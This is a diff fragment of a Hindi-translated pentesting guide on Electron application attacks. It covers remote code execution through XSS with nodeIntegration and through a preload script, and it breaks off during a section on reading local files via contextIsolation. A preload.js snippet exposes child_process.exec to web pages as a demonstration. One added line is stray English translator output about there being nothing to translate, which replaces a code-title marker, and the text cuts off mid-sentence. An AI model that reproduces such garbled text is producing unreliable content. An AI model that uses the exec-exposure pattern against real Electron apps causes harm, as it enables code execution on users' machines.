url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} [macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) @@ -110,7 +112,7 @@ Example Payloads (Linux & MacOS): ## RCE: XSS + nodeIntegration -यदि **nodeIntegration** को **on** पर सेट किया जाता है, तो एक वेब पेज का जावास्क्रिप्ट Node.js की सुविधाओं का उपयोग आसानी से कर सकता है, बस `require()` को कॉल करके। उदाहरण के लिए, Windows पर कैल्क ऐप्लिकेशन को चलाने का तरीका है: +यदि **nodeIntegration** को **on** पर सेट किया गया है, तो एक वेब पेज का जावास्क्रिप्ट आसानी से Node.js की सुविधाओं का उपयोग कर सकता है बस `require()` को कॉल करके। उदाहरण के लिए, विंडोज पर कैल्क एप्लिकेशन को निष्पादित करने का तरीका है: ```html ``` +```markdown
## RCE: preload -इस सेटिंग में निर्दिष्ट स्क्रिप्ट अन्य स्क्रिप्टों से पहले लोड होता है, इसलिए इसके पास **Node APIs का असीमित उपयोग होता है**: +इस सेटिंग में दिए गए स्क्रिप्ट को **रेंडरर में अन्य स्क्रिप्ट्स से पहले लोड** किया जाता है, इसलिए इसे Node APIs का **असीमित पहुँच** होती है: +``` ```javascript new BrowserWindow{ webPreferences: { @@ -131,7 +135,7 @@ preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` -इसलिए, स्क्रिप्ट नोड-फ़ीचर्स को पेजों में निर्यात कर सकता है: +इसलिए, स्क्रिप्ट node-features को पेजेस में निर्यात कर सकती है: {% code title="preload.js" %} ```javascript @@ -140,7 +144,7 @@ window.runCalc = function(){ require('child_process').exec('calc') }; ``` -{% code title="index.html" %} +Since the provided text does not contain any content that requires translation, there is nothing to translate. The text consists solely of markdown syntax for ending and starting a code block, along with a filename which should not be translated as per the instructions. If you have any actual content that needs translation, please provide it. ```html ``` -इन उदाहरणों के बारे में अधिक जानकारी के लिए [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) देखें। +इस उदाहरण के बारे में अधिक जानकारी के लिए [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) देखें। -## आंतरिक फ़ाइलें पढ़ें: XSS + contextIsolation +## आंतरिक फाइलें पढ़ें: XSS + contextIsolation -यदि `contextIsolation` को false पर सेट किया जाता है, तो आप लोकल फ़ाइलें पढ़ने और उन्हें बाहर निकालने के लिए \ (\